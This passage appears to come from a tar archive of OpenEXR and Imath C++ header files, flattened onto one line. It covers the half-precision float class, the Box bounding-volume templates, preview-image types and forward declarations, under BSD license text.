char b; // proportional to pow (x/255, 2.2), // where x is r, g, or b. unsigned char a; // The pixel's alpha; 0 == transparent, // 255 == opaque. PreviewRgba (unsigned char r = 0, unsigned char g = 0, unsigned char b = 0, unsigned char a = 255) : r(r), g(g), b(b), a(a) {} }; class IMF_EXPORT PreviewImage { public: //-------------------------------------------------------------------- // Constructor: // // PreviewImage(w,h,p) constructs a preview image with w by h pixels // whose initial values are specified in pixel array p. The x and y // coordinates of the pixels in p go from 0 to w-1, and from 0 to h-1. // The pixel with coordinates (x, y) is at address p + y*w + x. // Pixel (0, 0) is in the upper left corner of the preview image. // If p is zero, the pixels in the preview image are initialized with // (r = 0, b = 0, g = 0, a = 255). // //-------------------------------------------------------------------- PreviewImage (unsigned int width = 0, unsigned int height = 0, const PreviewRgba pixels[] = 0); //----------------------------------------------------- // Copy constructor, destructor and assignment operator //----------------------------------------------------- PreviewImage (const PreviewImage &other); ~PreviewImage (); PreviewImage & operator = (const PreviewImage &other); //----------------------------------------------- // Access to width, height and to the pixel array //----------------------------------------------- unsigned int width () const {return _width;} unsigned int height () const {return _height;} PreviewRgba * pixels () {return _pixels;} const PreviewRgba * pixels () const {return _pixels;} //---------------------------- // Access to individual pixels //---------------------------- PreviewRgba & pixel (unsigned int x, unsigned int y) {return _pixels[y * _width + x];} const PreviewRgba & pixel (unsigned int x, unsigned int y) const {return _pixels[y * _width + x];} private: unsigned int _width; unsigned int _height; PreviewRgba * _pixels; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathForward.h 0000644 00000005272 15246445047 0010605 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHFORWARD_H #define INCLUDED_IMATHFORWARD_H #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER // // Basic template type declarations. // template <class T> class Box; template <class T> class Color3; template <class T> class Color4; template <class T> class Euler; template <class T> class Frustum; template <class T> class FrustumTest; template <class T> class Interval; template <class T> class Line3; template <class T> class Matrix33; template <class T> class Matrix44; template <class T> class Plane3; template <class T> class Quat; template <class T> class Shear6; template <class T> class Sphere3; template <class T> class TMatrix; template <class T> class TMatrixBase; template <class T> class TMatrixData; template <class T> class Vec2; template <class T> class Vec3; template <class T> class Vec4; class Rand32; class Rand48; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHFORWARD_H OpenEXR/half.h 0000644 00000042336 15246445047 0007132 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// // Primary authors: // Florian Kainz <kainz@ilm.com> // Rod Bogart <rgb@ilm.com> //--------------------------------------------------------------------------- // // half -- a 16-bit floating point number class: // // Type half can represent positive and negative numbers whose // magnitude is between roughly 6.1e-5 and 6.5e+4 with a relative // error of 9.8e-4; numbers smaller than 6.1e-5 can be represented // with an absolute error of 6.0e-8. All integers from -2048 to // +2048 can be represented exactly. // // Type half behaves (almost) like the built-in C++ floating point // types. In arithmetic expressions, half, float and double can be // mixed freely. Here are a few examples: // // half a (3.5); // float b (a + sqrt (a)); // a += b; // b += a; // b = a + 7; // // Conversions from half to float are lossless; all half numbers // are exactly representable as floats. // // Conversions from float to half may not preserve a float's value // exactly. If a float is not representable as a half, then the // float value is rounded to the nearest representable half. If a // float value is exactly in the middle between the two closest // representable half values, then the float value is rounded to // the closest half whose least significant bit is zero. // // Overflows during float-to-half conversions cause arithmetic // exceptions. An overflow occurs when the float value to be // converted is too large to be represented as a half, or if the // float value is an infinity or a NAN. // // The implementation of type half makes the following assumptions // about the implementation of the built-in C++ types: // // float is an IEEE 754 single-precision number // sizeof (float) == 4 // sizeof (unsigned int) == sizeof (float) // alignof (unsigned int) == alignof (float) // sizeof (unsigned short) == 2 // //--------------------------------------------------------------------------- #ifndef _HALF_H_ #define _HALF_H_ #include "halfExport.h" // for definition of HALF_EXPORT #include <iostream> class half { public: //------------- // Constructors //------------- half (); // no initialization half (float f); //-------------------- // Conversion to float //-------------------- operator float () const; //------------ // Unary minus //------------ half operator - () const; //----------- // Assignment //----------- half & operator = (half h); half & operator = (float f); half & operator += (half h); half & operator += (float f); half & operator -= (half h); half & operator -= (float f); half & operator *= (half h); half & operator *= (float f); half & operator /= (half h); half & operator /= (float f); //--------------------------------------------------------- // Round to n-bit precision (n should be between 0 and 10). // After rounding, the significand's 10-n least significant // bits will be zero. //--------------------------------------------------------- half round (unsigned int n) const; //-------------------------------------------------------------------- // Classification: // // h.isFinite() returns true if h is a normalized number, // a denormalized number or zero // // h.isNormalized() returns true if h is a normalized number // // h.isDenormalized() returns true if h is a denormalized number // // h.isZero() returns true if h is zero // // h.isNan() returns true if h is a NAN // // h.isInfinity() returns true if h is a positive // or a negative infinity // // h.isNegative() returns true if the sign bit of h // is set (negative) //-------------------------------------------------------------------- bool isFinite () const; bool isNormalized () const; bool isDenormalized () const; bool isZero () const; bool isNan () const; bool isInfinity () const; bool isNegative () const; //-------------------------------------------- // Special values // // posInf() returns +infinity // // negInf() returns -infinity // // qNan() returns a NAN with the bit // pattern 0111111111111111 // // sNan() returns a NAN with the bit // pattern 0111110111111111 //-------------------------------------------- static half posInf (); static half negInf (); static half qNan (); static half sNan (); //-------------------------------------- // Access to the internal representation //-------------------------------------- HALF_EXPORT unsigned short bits () const; HALF_EXPORT void setBits (unsigned short bits); public: union uif { unsigned int i; float f; }; private: HALF_EXPORT static short convert (int i); HALF_EXPORT static float overflow (); unsigned short _h; HALF_EXPORT static const uif _toFloat[1 << 16]; HALF_EXPORT static const unsigned short _eLut[1 << 9]; }; //----------- // Stream I/O //----------- HALF_EXPORT std::ostream & operator << (std::ostream &os, half h); HALF_EXPORT std::istream & operator >> (std::istream &is, half &h); //---------- // Debugging //---------- HALF_EXPORT void printBits (std::ostream &os, half h); HALF_EXPORT void printBits (std::ostream &os, float f); HALF_EXPORT void printBits (char c[19], half h); HALF_EXPORT void printBits (char c[35], float f); //------------------------------------------------------------------------- // Limits // // Visual C++ will complain if HALF_MIN, HALF_NRM_MIN etc. are not float // constants, but at least one other compiler (gcc 2.96) produces incorrect // results if they are. //------------------------------------------------------------------------- #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER #define HALF_MIN 5.96046448e-08f // Smallest positive half #define HALF_NRM_MIN 6.10351562e-05f // Smallest positive normalized half #define HALF_MAX 65504.0f // Largest positive half #define HALF_EPSILON 0.00097656f // Smallest positive e for which // half (1.0 + e) != half (1.0) #else #define HALF_MIN 5.96046448e-08 // Smallest positive half #define HALF_NRM_MIN 6.10351562e-05 // Smallest positive normalized half #define HALF_MAX 65504.0 // Largest positive half #define HALF_EPSILON 0.00097656 // Smallest positive e for which // half (1.0 + e) != half (1.0) #endif #define HALF_MANT_DIG 11 // Number of digits in mantissa // (significand + hidden leading 1) #define HALF_DIG 2 // Number of base 10 digits that // can be represented without change #define HALF_RADIX 2 // Base of the exponent #define HALF_MIN_EXP -13 // Minimum negative integer such that // HALF_RADIX raised to the power of // one less than that integer is a // normalized half #define HALF_MAX_EXP 16 // Maximum positive integer such that // HALF_RADIX raised to the power of // one less than that integer is a // normalized half #define HALF_MIN_10_EXP -4 // Minimum positive integer such // that 10 raised to that power is // a normalized half #define HALF_MAX_10_EXP 4 // Maximum positive integer such // that 10 raised to that power is // a normalized half //--------------------------------------------------------------------------- // // Implementation -- // // Representation of a float: // // We assume that a float, f, is an IEEE 754 single-precision // floating point number, whose bits are arranged as follows: // // 31 (msb) // | // | 30 23 // | | | // | | | 22 0 (lsb) // | | | | | // X XXXXXXXX XXXXXXXXXXXXXXXXXXXXXXX // // s e m // // S is the sign-bit, e is the exponent and m is the significand. // // If e is between 1 and 254, f is a normalized number: // // s e-127 // f = (-1) * 2 * 1.m // // If e is 0, and m is not zero, f is a denormalized number: // // s -126 // f = (-1) * 2 * 0.m // // If e and m are both zero, f is zero: // // f = 0.0 // // If e is 255, f is an "infinity" or "not a number" (NAN), // depending on whether m is zero or not. // // Examples: // // 0 00000000 00000000000000000000000 = 0.0 // 0 01111110 00000000000000000000000 = 0.5 // 0 01111111 00000000000000000000000 = 1.0 // 0 10000000 00000000000000000000000 = 2.0 // 0 10000000 10000000000000000000000 = 3.0 // 1 10000101 11110000010000000000000 = -124.0625 // 0 11111111 00000000000000000000000 = +infinity // 1 11111111 00000000000000000000000 = -infinity // 0 11111111 10000000000000000000000 = NAN // 1 11111111 11111111111111111111111 = NAN // // Representation of a half: // // Here is the bit-layout for a half number, h: // // 15 (msb) // | // | 14 10 // | | | // | | | 9 0 (lsb) // | | | | | // X XXXXX XXXXXXXXXX // // s e m // // S is the sign-bit, e is the exponent and m is the significand. // // If e is between 1 and 30, h is a normalized number: // // s e-15 // h = (-1) * 2 * 1.m // // If e is 0, and m is not zero, h is a denormalized number: // // S -14 // h = (-1) * 2 * 0.m // // If e and m are both zero, h is zero: // // h = 0.0 // // If e is 31, h is an "infinity" or "not a number" (NAN), // depending on whether m is zero or not. // // Examples: // // 0 00000 0000000000 = 0.0 // 0 01110 0000000000 = 0.5 // 0 01111 0000000000 = 1.0 // 0 10000 0000000000 = 2.0 // 0 10000 1000000000 = 3.0 // 1 10101 1111000001 = -124.0625 // 0 11111 0000000000 = +infinity // 1 11111 0000000000 = -infinity // 0 11111 1000000000 = NAN // 1 11111 1111111111 = NAN // // Conversion: // // Converting from a float to a half requires some non-trivial bit // manipulations. In some cases, this makes conversion relatively // slow, but the most common case is accelerated via table lookups. // // Converting back from a half to a float is easier because we don't // have to do any rounding. In addition, there are only 65536 // different half numbers; we can convert each of those numbers once // and store the results in a table. Later, all conversions can be // done using only simple table lookups. // //--------------------------------------------------------------------------- //-------------------- // Simple constructors //-------------------- inline half::half () { // no initialization } //---------------------------- // Half-from-float constructor //---------------------------- inline half::half (float f) { uif x; x.f = f; if (f == 0) { // // Common special case - zero. // Preserve the zero's sign bit. // _h = (x.i >> 16); } else { // // We extract the combined sign and exponent, e, from our // floating-point number, f. Then we convert e to the sign // and exponent of the half number via a table lookup. // // For the most common case, where a normalized half is produced, // the table lookup returns a non-zero value; in this case, all // we have to do is round f's significand to 10 bits and combine // the result with e. // // For all other cases (overflow, zeroes, denormalized numbers // resulting from underflow, infinities and NANs), the table // lookup returns zero, and we call a longer, non-inline function // to do the float-to-half conversion. // register int e = (x.i >> 23) & 0x000001ff; e = _eLut[e]; if (e) { // // Simple case - round the significand, m, to 10 // bits and combine it with the sign and exponent. // register int m = x.i & 0x007fffff; _h = e + ((m + 0x00000fff + ((m >> 13) & 1)) >> 13); } else { // // Difficult case - call a function. // _h = convert (x.i); } } } //------------------------------------------ // Half-to-float conversion via table lookup //------------------------------------------ inline half::operator float () const { return _toFloat[_h].f; } //------------------------- // Round to n-bit precision //------------------------- inline half half::round (unsigned int n) const { // // Parameter check. // if (n >= 10) return *this; // // Disassemble h into the sign, s, // and the combined exponent and significand, e. // unsigned short s = _h & 0x8000; unsigned short e = _h & 0x7fff; // // Round the exponent and significand to the nearest value // where ones occur only in the (10-n) most significant bits. // Note that the exponent adjusts automatically if rounding // up causes the significand to overflow. // e >>= 9 - n; e += e & 1; e <<= 9 - n; // // Check for exponent overflow. // if (e >= 0x7c00) { // // Overflow occurred -- truncate instead of rounding. // e = _h; e >>= 10 - n; e <<= 10 - n; } // // Put the original sign bit back. // half h; h._h = s | e; return h; } //----------------------- // Other inline functions //----------------------- inline half half::operator - () const { half h; h._h = _h ^ 0x8000; return h; } inline half & half::operator = (half h) { _h = h._h; return *this; } inline half & half::operator = (float f) { *this = half (f); return *this; } inline half & half::operator += (half h) { *this = half (float (*this) + float (h)); return *this; } inline half & half::operator += (float f) { *this = half (float (*this) + f); return *this; } inline half & half::operator -= (half h) { *this = half (float (*this) - float (h)); return *this; } inline half & half::operator -= (float f) { *this = half (float (*this) - f); return *this; } inline half & half::operator *= (half h) { *this = half (float (*this) * float (h)); return *this; } inline half & half::operator *= (float f) { *this = half (float (*this) * f); return *this; } inline half & half::operator /= (half h) { *this = half (float (*this) / float (h)); return *this; } inline half & half::operator /= (float f) { *this = half (float (*this) / f); return *this; } inline bool half::isFinite () const { unsigned short e = (_h >> 10) & 0x001f; return e < 31; } inline bool half::isNormalized () const { unsigned short e = (_h >> 10) & 0x001f; return e > 0 && e < 31; } inline bool half::isDenormalized () const { unsigned short e = (_h >> 10) & 0x001f; unsigned short m = _h & 0x3ff; return e == 0 && m != 0; } inline bool half::isZero () const { return (_h & 0x7fff) == 0; } inline bool half::isNan () const { unsigned short e = (_h >> 10) & 0x001f; unsigned short m = _h & 0x3ff; return e == 31 && m != 0; } inline bool half::isInfinity () const { unsigned short e = (_h >> 10) & 0x001f; unsigned short m = _h & 0x3ff; return e == 31 && m == 0; } inline bool half::isNegative () const { return (_h & 0x8000) != 0; } inline half half::posInf () { half h; h._h = 0x7c00; return h; } inline half half::negInf () { half h; h._h = 0xfc00; return h; } inline half half::qNan () { half h; h._h = 0x7fff; return h; } inline half half::sNan () { half h; h._h = 0x7dff; return h; } inline unsigned short half::bits () const { return _h; } inline void half::setBits (unsigned short bits) { _h = bits; } #endif OpenEXR/ImathBox.h 0000644 00000041175 15246445047 0007733 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHBOX_H #define INCLUDED_IMATHBOX_H //------------------------------------------------------------------- // // class Imath::Box<class T> // -------------------------------- // // This class imposes the following requirements on its // parameter class: // // 1) The class T must implement these operators: // + - < > <= >= = // with the signature (T,T) and the expected // return values for a numeric type. // // 2) The class T must implement operator= // with the signature (T,float and/or double) // // 3) The class T must have a constructor which takes // a float (and/or double) for use in initializing the box. // // 4) The class T must have a function T::dimensions() // which returns the number of dimensions in the class // (since its assumed its a vector) -- preferably, this // returns a constant expression. // //------------------------------------------------------------------- #include "ImathVec.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Box { public: //------------------------- // Data Members are public //------------------------- T min; T max; //----------------------------------------------------- // Constructors - an "empty" box is created by default //----------------------------------------------------- Box (); Box (const T &point); Box (const T &minT, const T &maxT); //-------------------- // Operators: ==, != //-------------------- bool operator == (const Box<T> &src) const; bool operator != (const Box<T> &src) const; //------------------ // Box manipulation //------------------ void makeEmpty (); void extendBy (const T &point); void extendBy (const Box<T> &box); void makeInfinite (); //--------------------------------------------------- // Query functions - these compute results each time //--------------------------------------------------- T size () const; T center () const; bool intersects (const T &point) const; bool intersects (const Box<T> &box) const; unsigned int majorAxis () const; //---------------- // Classification //---------------- bool isEmpty () const; bool hasVolume () const; bool isInfinite () const; }; //-------------------- // Convenient typedefs //-------------------- typedef Box <V2s> Box2s; typedef Box <V2i> Box2i; typedef Box <V2f> Box2f; typedef Box <V2d> Box2d; typedef Box <V3s> Box3s; typedef Box <V3i> Box3i; typedef Box <V3f> Box3f; typedef Box <V3d> Box3d; //---------------- // Implementation template <class T> inline Box<T>::Box() { makeEmpty(); } template <class T> inline Box<T>::Box (const T &point) { min = point; max = point; } template <class T> inline Box<T>::Box (const T &minT, const T &maxT) { min = minT; max = maxT; } template <class T> inline bool Box<T>::operator == (const Box<T> &src) const { return (min == src.min && max == src.max); } template <class T> inline bool Box<T>::operator != (const Box<T> &src) const { return (min != src.min || max != src.max); } template <class T> inline void Box<T>::makeEmpty() { min = T(T::baseTypeMax()); max = T(T::baseTypeMin()); } template <class T> inline void Box<T>::makeInfinite() { min = T(T::baseTypeMin()); max = T(T::baseTypeMax()); } template <class T> inline void Box<T>::extendBy(const T &point) { for (unsigned int i = 0; i < min.dimensions(); i++) { if (point[i] < min[i]) min[i] = point[i]; if (point[i] > max[i]) max[i] = point[i]; } } template <class T> inline void Box<T>::extendBy(const Box<T> &box) { for (unsigned int i = 0; i < min.dimensions(); i++) { if (box.min[i] < min[i]) min[i] = box.min[i]; if (box.max[i] > max[i]) max[i] = box.max[i]; } } template <class T> inline bool Box<T>::intersects(const T &point) const { for (unsigned int i = 0; i < min.dimensions(); i++) { if (point[i] < min[i] || point[i] > max[i]) return false; } return true; } template <class T> inline bool Box<T>::intersects(const Box<T> &box) const { for (unsigned int i = 0; i < min.dimensions(); i++) { if (box.max[i] < min[i] || box.min[i] > max[i]) return false; } return true; } template <class T> inline T Box<T>::size() const { if (isEmpty()) return T (0); return max - min; } template <class T> inline T Box<T>::center() const { return (max + min) / 2; } template <class T> inline bool Box<T>::isEmpty() const { for (unsigned int i = 0; i < min.dimensions(); i++) { if (max[i] < min[i]) return true; } return false; } template <class T> inline bool Box<T>::isInfinite() const { for (unsigned int i = 0; i < min.dimensions(); i++) { if (min[i] != T::baseTypeMin() || max[i] != T::baseTypeMax()) return false; } return true; } template <class T> inline bool Box<T>::hasVolume() const { for (unsigned int i = 0; i < min.dimensions(); i++) { if (max[i] <= min[i]) return false; } return true; } template<class T> inline unsigned int Box<T>::majorAxis() const { unsigned int major = 0; T s = size(); for (unsigned int i = 1; i < min.dimensions(); i++) { if (s[i] > s[major]) major = i; } return major; } //------------------------------------------------------------------- // // Partial class specializations for Imath::Vec2<T> and Imath::Vec3<T> // //------------------------------------------------------------------- template <typename T> class Box; template <class T> class Box<Vec2<T> > { public: //------------------------- // Data Members are public //------------------------- Vec2<T> min; Vec2<T> max; //----------------------------------------------------- // Constructors - an "empty" box is created by default //----------------------------------------------------- Box(); Box (const Vec2<T> &point); Box (const Vec2<T> &minT, const Vec2<T> &maxT); //-------------------- // Operators: ==, != //-------------------- bool operator == (const Box<Vec2<T> > &src) const; bool operator != (const Box<Vec2<T> > &src) const; //------------------ // Box manipulation //------------------ void makeEmpty(); void extendBy (const Vec2<T> &point); void extendBy (const Box<Vec2<T> > &box); void makeInfinite(); //--------------------------------------------------- // Query functions - these compute results each time //--------------------------------------------------- Vec2<T> size() const; Vec2<T> center() const; bool intersects (const Vec2<T> &point) const; bool intersects (const Box<Vec2<T> > &box) const; unsigned int majorAxis() const; //---------------- // Classification //---------------- bool isEmpty() const; bool hasVolume() const; bool isInfinite() const; }; //---------------- // Implementation template <class T> inline Box<Vec2<T> >::Box() { makeEmpty(); } template <class T> inline Box<Vec2<T> >::Box (const Vec2<T> &point) { min = point; max = point; } template <class T> inline Box<Vec2<T> >::Box (const Vec2<T> &minT, const Vec2<T> &maxT) { min = minT; max = maxT; } template <class T> inline bool Box<Vec2<T> >::operator == (const Box<Vec2<T> > &src) const { return (min == src.min && max == src.max); } template <class T> inline bool Box<Vec2<T> >::operator != (const Box<Vec2<T> > &src) const { return (min != src.min || max != src.max); } template <class T> inline void Box<Vec2<T> >::makeEmpty() { min = Vec2<T>(Vec2<T>::baseTypeMax()); max = Vec2<T>(Vec2<T>::baseTypeMin()); } template <class T> inline void Box<Vec2<T> >::makeInfinite() { min = Vec2<T>(Vec2<T>::baseTypeMin()); max = Vec2<T>(Vec2<T>::baseTypeMax()); } template <class T> inline void Box<Vec2<T> >::extendBy (const Vec2<T> &point) { if (point[0] < min[0]) min[0] = point[0]; if (point[0] > max[0]) max[0] = point[0]; if (point[1] < min[1]) min[1] = point[1]; if (point[1] > max[1]) max[1] = point[1]; } template <class T> inline void Box<Vec2<T> >::extendBy (const Box<Vec2<T> > &box) { if (box.min[0] < min[0]) min[0] = box.min[0]; if (box.max[0] > max[0]) max[0] = box.max[0]; if (box.min[1] < min[1]) min[1] = box.min[1]; if (box.max[1] > max[1]) max[1] = box.max[1]; } template <class T> inline bool Box<Vec2<T> >::intersects (const Vec2<T> &point) const { if (point[0] < min[0] || point[0] > max[0] || point[1] < min[1] || point[1] > max[1]) return false; return true; } template <class T> inline bool Box<Vec2<T> >::intersects (const Box<Vec2<T> > &box) const { if (box.max[0] < min[0] || box.min[0] > max[0] || box.max[1] < min[1] || box.min[1] > max[1]) return false; return true; } template <class T> inline Vec2<T> Box<Vec2<T> >::size() const { if (isEmpty()) return Vec2<T> (0); return max - min; } template <class T> inline Vec2<T> Box<Vec2<T> >::center() const { return (max + min) / 2; } template <class T> inline bool Box<Vec2<T> >::isEmpty() const { if (max[0] < min[0] || max[1] < min[1]) return true; return false; } template <class T> inline bool Box<Vec2<T> > ::isInfinite() const { if (min[0] != limits<T>::min() || max[0] != limits<T>::max() || min[1] != limits<T>::min() || max[1] != limits<T>::max()) return false; return true; } template <class T> inline bool Box<Vec2<T> >::hasVolume() const { if (max[0] <= min[0] || max[1] <= min[1]) return false; return true; } template <class T> inline unsigned int Box<Vec2<T> >::majorAxis() const { unsigned int major = 0; Vec2<T> s = size(); if (s[1] > s[major]) major = 1; return major; } template <class T> class Box<Vec3<T> > { public: //------------------------- // Data Members are public //------------------------- Vec3<T> min; Vec3<T> max; //----------------------------------------------------- // Constructors - an "empty" box is created by default //----------------------------------------------------- Box(); Box (const Vec3<T> &point); Box (const Vec3<T> &minT, const Vec3<T> &maxT); //-------------------- // Operators: ==, != //-------------------- bool operator == (const Box<Vec3<T> > &src) const; bool operator != (const Box<Vec3<T> > &src) const; //------------------ // Box manipulation //------------------ void makeEmpty(); void extendBy (const Vec3<T> &point); void extendBy (const Box<Vec3<T> > &box); void makeInfinite (); //--------------------------------------------------- // Query functions - these compute results each time //--------------------------------------------------- Vec3<T> size() const; Vec3<T> center() const; bool intersects (const Vec3<T> &point) const; bool intersects (const Box<Vec3<T> > &box) const; unsigned int majorAxis() const; //---------------- // Classification //---------------- bool isEmpty() const; bool hasVolume() const; bool isInfinite() const; }; //---------------- // Implementation template <class T> inline Box<Vec3<T> >::Box() { makeEmpty(); } template <class T> inline Box<Vec3<T> >::Box (const Vec3<T> &point) { min = point; max = point; } template <class T> inline Box<Vec3<T> >::Box (const Vec3<T> &minT, const Vec3<T> &maxT) { min = minT; max = maxT; } template <class T> inline bool Box<Vec3<T> >::operator == (const Box<Vec3<T> > &src) const { return (min == src.min && max == src.max); } template <class T> inline bool Box<Vec3<T> >::operator != (const Box<Vec3<T> > &src) const { return (min != src.min || max != src.max); } template <class T> inline void Box<Vec3<T> >::makeEmpty() { min = Vec3<T>(Vec3<T>::baseTypeMax()); max = Vec3<T>(Vec3<T>::baseTypeMin()); } template <class T> inline void Box<Vec3<T> >::makeInfinite() { min = Vec3<T>(Vec3<T>::baseTypeMin()); max = Vec3<T>(Vec3<T>::baseTypeMax()); } template <class T> inline void Box<Vec3<T> >::extendBy (const Vec3<T> &point) { if (point[0] < min[0]) min[0] = point[0]; if (point[0] > max[0]) max[0] = point[0]; if (point[1] < min[1]) min[1] = point[1]; if (point[1] > max[1]) max[1] = point[1]; if (point[2] < min[2]) min[2] = point[2]; if (point[2] > max[2]) max[2] = point[2]; } template <class T> inline void Box<Vec3<T> >::extendBy (const Box<Vec3<T> > &box) { if (box.min[0] < min[0]) min[0] = box.min[0]; if (box.max[0] > max[0]) max[0] = box.max[0]; if (box.min[1] < min[1]) min[1] = box.min[1]; if (box.max[1] > max[1]) max[1] = box.max[1]; if (box.min[2] < min[2]) min[2] = box.min[2]; if (box.max[2] > max[2]) max[2] = box.max[2]; } template <class T> inline bool Box<Vec3<T> >::intersects (const Vec3<T> &point) const { if (point[0] < min[0] || point[0] > max[0] || point[1] < min[1] || point[1] > max[1] || point[2] < min[2] || point[2] > max[2]) return false; return true; } template <class T> inline bool Box<Vec3<T> >::intersects (const Box<Vec3<T> > &box) const { if (box.max[0] < min[0] || box.min[0] > max[0] || box.max[1] < min[1] || box.min[1] > max[1] || box.max[2] < min[2] || box.min[2] > max[2]) return false; return true; } template <class T> inline Vec3<T> Box<Vec3<T> >::size() const { if (isEmpty()) return Vec3<T> (0); return max - min; } template <class T> inline Vec3<T> Box<Vec3<T> >::center() const { return (max + min) / 2; } template <class T> inline bool Box<Vec3<T> >::isEmpty() const { if (max[0] < min[0] || max[1] < min[1] || max[2] < min[2]) return true; return false; } template <class T> inline bool Box<Vec3<T> >::isInfinite() const { if (min[0] != limits<T>::min() || max[0] != limits<T>::max() || min[1] != limits<T>::min() || max[1] != limits<T>::max() || min[2] != limits<T>::min() || max[2] != limits<T>::max()) return false; return true; } template <class T> inline bool Box<Vec3<T> >::hasVolume() const { if (max[0] <= min[0] || max[1] <= min[1] || max[2] <= min[2]) return false; return true; } template <class T> inline unsigned int Box<Vec3<T> >::majorAxis() const { unsigned int major = 0; Vec3<T> s = size(); if (s[1] > s[major]) major = 1; if (s[2] > s[major]) major = 2; return major; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHBOX_H OpenEXR/ImfRationalAttribute.h 0000644 00000005207 15246445047 0012305 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS 